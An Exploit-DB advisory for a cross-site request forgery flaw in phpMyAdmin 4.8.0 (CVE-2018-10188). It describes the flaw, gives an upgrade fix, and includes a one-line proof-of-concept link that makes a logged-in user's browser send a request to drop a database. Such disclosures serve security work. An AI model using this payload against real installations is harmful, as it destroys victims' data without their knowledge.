phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery

EDB-ID: 44496
Author: revengsh
Published: 2018-04-23
CVE: CVE-2018-10188
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-04-20 
# Software Link:
# Author: @revengsh & @0x00FI
# CVE: CVE-2018-10188
# Category: Webapps

#1. Description
#The vulnerability exists due to failure in the "/sql.php" script to properly verify the source of HTTP request.
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute arbitrary SQL statement by sending a malicious request to a logged in user.
#2. Proof of Concept: This example sends HTTP GET crafted request in order to drop the specified database.

<a href="http://[HOST]/phpmyadmin/sql.php?sql_query=DROP+DATABASE+[DBNAME]">
Drop database

#3. Solution: Upgrade to phpMyAdmin 4.8.0-1 or newer.
#4. Reference:

Related Posts